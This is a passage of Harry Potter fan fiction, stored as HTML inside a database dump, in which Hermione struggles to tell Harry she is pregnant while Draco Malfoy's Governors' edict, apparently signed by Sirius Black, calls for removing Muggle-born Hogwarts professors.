&quot;It has often\nplagued my nightmares, this day.&quot; He took off his glasses with a tired\nsigh. &quot;There has always been talk, Harry, regarding the qualifications for\na Hogwarts professor. I\'ve feared it would amount to something someday.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Malfoy\'s made it amount to something.&quot;\nHarry picked the inflammatory thing back up. &quot;Going after Muggle-born\nstudents wasn\'t enough for him. Or at least it didn\'t work out as he\'d\nexpected. But this...&quot; The edges of the paper crumpled in his grip.\n&quot;This just proves how much of a bastard he truly is. He\'s playing on\npeople\'s prejudices. And it...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Might work,&quot; Dumbledore cut in. &quot;There\nis nothing worse than a crusader with a heart of leprechaun gold.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry frowned. &quot;What are we going to do to stop\nhim?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m not sure there\'s much we can do from here,\nHarry. We shape the future at Hogwarts, not the present.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'ve got to give me something more than\nthat!&quot; The younger wizard tore the newspaper directly down the middle,\nripping apart a photo of some Governor\'s Board members entering the Ministry of\nMagic. &quot;Professor, I can\'t be objective about this. Hermione\'s job, her\nreputation...it\'s all on the line here. If I can\'t do anything to protect\nher...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Dumbledore stood up; his purple robes, decorated with\nan exact replication of the constellations, brushed against the floor.\n&quot;Write to Sirius Black, Harry.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have. He just hasn\'t written back in awhile. I\nhave a feeling it was him who sent the paper today, though.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Write to him again. Any edict from the\nGovernor\'s must be unanimous.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded. &quot;I\'m sure he could sway at least\none or two. Most people are still frightened of him.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Dumbledore looked over his shoulder at the young man\nas he approached Fawkes\' stand to give him a mid-day treat. &quot;It might be\nbetter simply to ask him not to sign his own name to anything young Draco\nproposes.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot; Harry blinked. &quot;Sirius...is a Governor?\nHe never told me that.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Imagine what you\'ll find out tomorrow,\nHarry.&quot; From the pocket of his robes, he pulled out a piece of chocolate,\nunwrapped it and fed it to his Phoenix. &quot;And don\'t worry. Hermione is a\nHogwarts professor and a powerful witch. She\'ll always be one of us.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry. Harry? Harry!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The third time his named was called, Harry stopped in\nhis tracks. He had just reached the portrait of Miss Belle, who was, as usual,\nnapping in just enough undergarments as to be decent, when the sweetest voice\nin the world broke through his cloudy thoughts. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione approached him, out of breath from the jog\nshe had been forced to break into to keep up with him. His mind was obviously\nelsewhere, but when he smiled at her, all was forgiven. The power of his smile\nhit her as it always had. Hard, fast and hot. Her hand shot to her burning\ncheek. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry,&quot; she said, breathless, but not from\nrunning. &quot;We\'ve got to talk.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m sorry, Hermione. I\'d really like to.&quot;\nHe drew her hand away from her cheek and brought it over to his lips.\n&quot;It\'s just that I have something I must get sent off to London\nimmediately.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She bit back disappointment and the smallest bit of\nhurt. Harry was so smart about everything else in his life; why had he chosen\nthat moment to become dense? &quot;Oh. I see.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Can it wait until later?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I...suppose it can. It\'s just...&quot; Hermione\nclosed her eyes when he kissed the tip of her index finger. &quot;It can\nwait.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled again, apologetically. &quot;At dinner then?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She shook her head. &quot;Come to my apartments.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He nodded. After a second\'s pause, Harry gently drew\nher towards him by her hand. When she was pressed up against his chest, he\nleaned in for a sweet kiss. For the duration of the time his lips played over\nhers, Hermione ceased to think at all. When he finally pulled back, she found\nthat her hand had reached up and tangled in the thick, black locks of hair at\nthe back of his neck. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'ve missed you since we got back from\nLondon,&quot; he whispered. &quot;Have you been all right?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione leveled her gaze just past his cheek as she\nreplied, &quot;I\'ve been...fine.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry pressed a kiss onto her forehead. &quot;I\'ll see\nyou tonight, Hermione.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">In the confines of her gilded portrait frame, Miss\nBelle let out an exasperated sigh. &quot;Is this all you two have woken me up\nfor?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Stepping away from the woman he loved, Harry turned\nback around. &quot;Marsh marigold.&quot; Miss Belle turned up her nose, but the\ndoor swung open. Hermione watched Harry enter the wide hallway and before the\nportrait shut again, he inclined his head at her, an intimate gesture that\naffected her almost as much as his smile. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Word of advice, love.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snapping out of the moment, Hermione folded her arms\nover her robes. &quot;What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Miss Belle sat back down in her chair, making sure\nample cleavage peeked out over the lace of her camisole. &quot;The longer you\nwait, the longer it takes.&quot; She giggled behind her hand. &quot;I know your\nsecret, Professor Weasley.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione\'s eyes flew open. &quot;How on earth could you\npossibly know that...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I heard it from Duchess Lavinia in the next\ncorridor over who heard it from Lady Hawkes in the main stairwell who heard it\nfrom Nurse Primula in the Hospital Wing,&quot; Miss Belle answered, examining a\nnail. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Bloody hell!&quot; Hermione cursed.\n&quot;Nothing can be kept a secret with all you paintings around!&quot; Without\nwaiting for a reply, she stomped off, feeling quite childish. But it was a\nbetter feeling than nausea or the nagging guilt that came with having such an\nenormous secret. At least she would get it off her chest that night. By the\ntime the sun went down, Harry Potter was going to know that he was to be a\nfather...for a second time.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione was at the end of her already frayed rope.\nThree days, a dozen chances to tell him, two close calls...but still Harry was\ncompletely in the dark. It couldn\'t be this impossible for everyone, she\nreasoned, rinsing out her mouth with tap water. She lifted her head from over\nthe aged tile sink and blinked away hot tears. The morning sickness had faded\nfor a few days, but had just returned with a vengeance. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Other women probably had no problem breaking the news\nto the fathers of their children. She blotted her lips with a thin, cotton\nwashcloth. Why was it becoming such a massive chore for her? Hermione held\nherself up over the sink as she thought back. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry had come to her apartments later that first\nnight, as promised. The setting had been perfect. All alone, in front of a\nroaring fire..she could have told him quickly and had it done. But she had\nhesitated and stumbled and before she could get anything important out, there\nhad been a knock on the door. It had been her nephew, Bill Jr., a great kid\nwhom even Miss Belle trusted with the password to the Professor\'s wing, but with\nthe world\'s worst timing. He had wanted to see his cousin and Hermione couldn\'t\nrefuse. After fetching little Harry, the two boys planted themselves in front\nof the fire to play Wizard\'s Chess. And Hermione had resigned herself to\ntelling Harry the next day.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The next day she came to his classroom after the final\nlesson period. He had seemed puzzled by her insistence that they talk\nimmediately, but had sat down patiently to listen to her. Just as she had begun\nwith her prepared speech, the classroom door had burst open and a group of\nseventh year girls rushed in, every single of one of them giggling. Harry had\nonly had time to shoot her an apologetic look before he was pulled into a study\ngroup. The N.E.W.T.S. were starting in less than a month; he couldn\'t exactly\ndeny his students the chance to prepare. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione put a hand on her churning stomach. Little\nHarry hadn\'t given her this much trouble and she had been even more emotionally\ndistraught back then. It had been far easier to tell Ron...but then, he had\ncaught her reading a book with the incriminating title, &quot;Magical Baby:&nbsp; A\nWitches Guide to the Hardest Nine Months of Her Life.&quot; Even her\neverlasting quest for knowledge couldn\'t explain that particular tome finding\nits way to her nightstand. If Harry had been around back then, would it have\nbeen this difficult to tell him?</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She pulled herself together enough to leave the\nbathroom just as two Slytherin third year girls were coming in. They gave her\nsmiles and waves, quite unlike the average Slytherin student. Hermione managed\na smile and a nod to each of them, but her sole focus was still on her current\nproblem. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The delicate gold watch around her left wrist, a sixth\nanniversary present from Ron, told her that it was almost eleven o\'clock. Harry\'s\nfourth year Ravenclaw and Gryffindor class would be letting out at any moment.\nIf she could just get there and bar the door to prevent any twittering girls\nfrom interrupting...she just might be able to do it.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Her sanity depended on it.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Few things could shock or startle Harry Potter and\nhearing the door to his classroom open fifteen minutes after a class had ended\nwas certainly not one of them. Instead of turning around, he spoke as he\ncontinued to wipe the day\'s notes on vampires off of the blackboard. &quot;If\nyou have any questions about the lesson, I\'ll be in the Hall in a few minutes\nfor lunch.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We need to talk.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Frowning slightly, Harry set down his eraser and\nturned. Hermione stood at the back of his classroom, pale and solemn, her hair\nloose around her shoulders. &quot;Hermione. What\'s wrong?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Her chocolate brown eyes were blank as she struggled\nfor her next words. The second speech she had prepared on the way over was\nforgotten quickly. There was nothing to do about the tremble of her chin; she\ndid her best to ignore it as she closed the door behind her with weak hands.\n&quot;We need to talk,&quot; she repeated. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Of course, yes. I\'m sorry....I know you\'ve had\nsomething on your mind for awhile now.&quot; Harry pulled on the ties of his\nschool robe, exposing the starched white shirt underneath. Smiling, he started\nthrough the center aisle towards her. &quot;We\'re finally alone.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione nodded a bit too quickly. &quot;Yes.\nAlone.&quot; She drew in a great breath. &quot;Harry, the thing I need to tell\nyou is...&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She didn\'t even realize how bad her hands were shaking\nuntil Harry reached for them. &quot;Hey...\'Mione.&quot; He trapped her palms\nbetween his. &quot;It\'s all right. I\'m here.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t know why I\'m having so much\ntrouble...&quot; A tear dripped down the inside of her nose; without her hands,\nshe couldn\'t wipe it away. &quot;I need to tell you that...you deserve to know\nabout...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry, are you in...&quot; The door, which\nHermione had closed, but forgotten to lock, opened swiftly. Harry had to pull\nHermione out of the way before it slammed into her back. Professor McGonagall\nstuck her head into the room and when she spotted the couple, stepped inside\ncompletely. &quot;Thank goodness you\'re here.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione could feel Harry\'s hands tighten around hers.\n&quot;What\'s happened?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Their former teacher had a hand to the brooch at her\nthroat and there was sheer panic on her face. &quot;You must come quickly,\nHarry. Professor Dumbledore needs to speak with you immediately.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry was torn. He looked back and forth between the\ntwo women for a moment. The tortured look Hermione gave him was simply too\npowerful. &quot;Tell him I\'ll be there as soon as I can,&quot; he told\nProfessor McGonagall. After a moment of studying them, she nodded and left the\nroom, closing the door behind her. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Go ahead, Hermione,&quot; he gently urged.\n&quot;Whatever it is, you can tell me.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">What seemed like hours passed as her gaze slipped back\nand forth between his matching emerald irises. She could feel his warmth,\nbreathe in his soap and aftershave scent...if she had wanted to, she could have\nreached up to touch his scar, his cheek, his full bottom lip. She could have\nkissed him, slipped her tongue into his wet, hot mouth, claimed it as her own.\nThere were a million things Hermione could have done in that moment. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Except one. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry\'s birthday,&quot; she whispered, hardly\nbelieving the words that were coming out of her mouth in place of the ones that\nshould have. &quot;It\'s....in two weeks. March 18th. I just...&quot; Her throat\nclosed up. &quot;I didn\'t know if you knew....and you deserve to. That\'s...&quot;\nShe shook her head. &quot;That\'s all.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry chuckled and pulled her against his solid frame.\nHer eyes closed, regret and self-disgust hitting her from every side. &quot;I\nalready know what I\'m going to get him. I just hope he\'ll accept it.&quot; He\npulled away from her and wiped away her tears. &quot;Don\'t cry, love. I never\nimagined this would be easy for any of us.&quot; Harry shot a look at the door.\n</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She took a numb step back. &quot;You should go see\nwhat he wants.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you sure? Because I can...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione shook her head. &quot;It sounds\nimportant.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry pulled the door open, but on second thought,\nturned, slid his hand around the back of her neck and brought his lips down to\nhers for a lingering kiss. &quot;I\'ll see you later.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Once he was gone, Hermione let herself sink to the\nfloor, ignoring the cold of the stone surface even through her robes. Her chin\ndropped to her chest. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The situation had not improved.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s not true.&quot; Harry shook his head.\n&quot;I won\'t believe it.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Behind his desk, Dumbledore lowered his head.\n&quot;What we choose to believe or disbelieve is entirely up to\nourselves.&quot; He caught Professor McGonagall\'s eye and continued,\n&quot;However I must ask you to remember that I rarely fib and almost never\nlie. Especially when I\'m speaking to an adult. Which you are now,&quot; he\nreminded him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">When Harry had no reply, Professor McGonagall spoke\nup. &quot;Harry, I wouldn\'t believe it myself if I weren\'t looking at it in\nblack and white. But here it is.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He refused to even glance at the parchment in her\nhands. &quot;There\'s been a mistake and it needs to be corrected before\nthis...gets any further than this room.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry,&quot; she tried again. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No!&quot; Harry slammed his fist onto the\nHeadmaster\'s desk. &quot;He wouldn\'t do it!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snape stepped out of the shadows of one corner from\nwhich he had been watching the entire exchange. &quot;If I may...this is a\nconvicted criminal we\'re talking about. There\'s no telling what he would or\nwouldn\'t do.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">If Harry\'s eyes could have killed, the Potions master\nwould have been dead. &quot;You\'ve always hated him, so I couldn\'t give a damn\nabout your opinion on this!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Dumbledore stood up. &quot;Enough. I won\'t have my\nteachers fighting each other. Not now, when we should all be united as\none...&quot; He took the letter from McGonagall. &quot;...against this. Now,\nHarry, no one feels more shock than I that our friend and colleague could do\nthis, but...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;He\'s the closest thing to family that I\'ve ever\nhad,&quot; Harry cut the wizard off. &quot;He\'s a good man.&quot; His furious\nglare returned to Snape. &quot;An *innocent* man. And he would never, ever\nsupport this trash. I don\'t care what that letter says.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;There is nothing I would like more than to agree\nwith you.&quot; Dumbledore eased back into his chair. &quot;But the fact of the\nmatter is simple. The Governor\'s have ruled and there is little that I can do\nabout it except stand out as a voice against the hatred that propelled this\ndecision.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Albus...&quot; the Transfiguration professor\nsaid softly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He sighed, continuing with a heavy heart. &quot;We\nshould tell the affected persons soon. It won\'t be fair to keep it from\nthem.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry watched the older teachers. They were all so\naccepting and resigned to this outrageous letter. &quot;Stop! All of\nyou!!&quot; When all eyes were on him, he continued, &quot;You can\'t just shake\nyour heads and go about firing every teacher Draco Malfoy doesn\'t like!! You\'re\nall giving in to him!! What\'s wrong with you?!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snape folded his arms over his black robes.\n&quot;We\'re not giving in anymore than your own dear god...&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Severus,&quot; Dumbledore warned. &quot;Harry.\nHe has made his choice. A choice that, right or wrong, was his to make. You can\ndeny it; that is also your right. But you can\'t ignore his name on this piece\nof paper.&quot; He held it up to the Boy Who Lived. For the first time, Harry\nforced himself to look at it. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Twelve names. The most infamous and prestigious\nwitches and wizards in England. All unanimous in their decision to weed out\ncertain Hogwarts professors. Specifically those with non-magical families. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Specifically, Harry thought, balling up his fists, the\nwoman he loved. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Twelve names. And halfway down the list, in hasty\ncursive, one signature stood out from the others. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Sirius Black. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">To Be Continued</p>\n\n\n\n\n\n\n'),
	(93, 15, '\n\n\n\n<p class="MsoPlainText">Disclaimer: The usual stuff about things not belonging\nto me.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Author\'s Notes: I apologize for the delay. FF.net saw\nfit to punish me like a bad four-year old when someone out there reported two\nof my stories for having &quot;indecent&quot; content. Notice the steam still\nescaping from my ears? Anyways, I\'m glad to be able to post again. For further\ninformation on my future with FF.net, please see my author bio. I hope you\nenjoy this chapter. I enjoyed writing it:) </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">An Organ of Fire</p>\n\n<p class="MsoPlainText">by Kristen Elizabeth</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wait a moment, Potter.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry came to a stop in the open-air corridor that ran\naround the center courtyard. He was not in the mood to talk to anyone; the\nentire point of storming out of Dumbledore\'s office had been to get away from\neveryone. His entire body was taught with anger as he turned around to confront\nthe man who had followed him out. &quot;What do you want?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snape folded his arms over his black robes.\n&quot;Listen. It doesn\'t take a genius to figure out that something\'s wrong\nhere. Regardless of how I personally feel about Sirius Black...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You mean, regardless of how much you despise\nhim!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The Potions master ignored the interruption.\n&quot;Regardless,&quot; he continued, &quot;I do not think for a moment that he\nwould ever align himself with...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Draco Malfoy. The pride and joy of your\nHouse,&quot; Harry spat out, his lip curling up. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Has it not dawned on you, Potter, that there\nmight be a plot at work, of which Sirius Black is the...innocent victim?&quot;\nIt took much effort for Snape to connect the words &quot;innocent victim&quot;\nwith his childhood enemy. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">After what seemed like an eternity of staring his old\nteacher down, Harry let his shoulders relax. &quot;Of course it occurred to\nme,&quot; he said, his words softer than he had intended them to be. &quot;It\'s\njust...&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Just what?&quot; Snape asked after a moment. The\nhard edge that was forever present in his voice briefly faded. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;His handwriting.&quot; The younger boy looked\naway, desperate to keep any signs of weakness at bay in front of Snape.\n&quot;It was...Sirius. I know his handwriting.&quot; His brow molded into a\nfrown. &quot;Don\'t you think the first thing I thought of was Polyjuice?\nBut...it\'s not someone else taking his place.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">At an apparent loss for words, Snape rubbed his sallow\nforehead. &quot;There are other ways that...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Malfoy could be exploiting my godfather? Yes,\nthere are. The problem is...&quot; Harry shook his head. &quot;I have no way to\nstop him.&quot; He continued, amazed at how free his speech felt around one of\nhis least favorite people in the world. &quot;I\'m eleven years old again...and\nI can\'t figure out how to fight back.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snape stared at Harry for a moment. &quot;That\'s never\nstopped you before.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I had the entire wizarding community behind me\nwhen I faced Voldemort. This time...Malfoy has them on his side.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So, are you just going to give...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Both men looked down the corridor; Hermione was\nheading for them, a worried look on her pale face. Harry frowned. When was the\nlast time he had seen color on Hermione\'s cheeks? Weeks, at least. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry...&quot; She stopped a few feet away from\nthem, filling the air with the delicate scent of roses. &quot;Is everything all\nright? What did Dumbledore...&quot; Her question trailed off when Harry and\nSnape both quickly averted their gazes from her. &quot;What\'s wrong?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snape shot an expectant look towards the younger man.\n&quot;You should be the one to tell her.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Tell me what?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry couldn\'t bring himself to meet her eyes. Perhaps\nit was cowardice on his part, but he just didn\'t think he could bear to see\nshock and hurt on the face of the woman he loved, put there by news from his\nmouth. Instead, he looked at the stone floor as he began to speak. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hermione...it\'s been decided...the\nGovernors...&quot; He lifted one shoulder to rub the underside of his jaw.\n&quot;They\'re calling...for the removal of all...Muggle-born instructors. At\nHogwarts.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A long time passed before Hermione responded with a\nsoft, &quot;Oh. I see.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Finally able to lift his eyes, Harry looked at her.\nHer efforts to mask her wounded expression weren\'t succeeding. &quot;I\'m sorry.&quot;\nHe shook his head. &quot;I couldn\'t stop it.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry.&quot; Her soft, cool fingers cupped his\nchin. &quot;It\'s not your fault.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Snape cleared his throat. &quot;If you\'ll both excuse\nme...&quot; He lifted an eyebrow at Harry. &quot;When you\'re ready to really\ndiscuss this, you know where to find me.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione watched the older man as he swept off towards\nthe center of the castle. &quot;What could you possibly have to discuss with\nhim that\'s so serious?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nothing.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Liar,&quot; she said quietly. &quot;If you\'re\nkeeping secrets again to protect me...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry drew her fingers away from his skin. He didn\'t\ndeserve her touch. &quot;Protect you? When have I ever successfully protected\nyou, Hermione? Did I keep you from getting hurt on Halloween? Was I there to\nhold your hand when you had our child? No, Hermione. For all the ways I\'ve hurt\nyou in the name of your protection, I certainly haven\'t given you much. And\nnow, with this...once again, I\'ve failed to...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry, please stop doing this to your...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have to be honest with myself.&quot; He backed\naway from her. &quot;I\'m poison, Hermione.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She put her hands on her hips. &quot;All right, now\nyou\'re just being dramatic.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Don\'t I wish.&quot; After a second, Harry\ncontinued. &quot;People who love me get hurt, Hermione. That\'s just part of\nbeing Harry Potter. For you...it\'s part of being anywhere near Harry\nPotter.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;And yet, despite this...although your point has\nlittle to no validity...I\'m still standing here.&quot; Hermione walked forward,\nclosing up the space he had put between them. 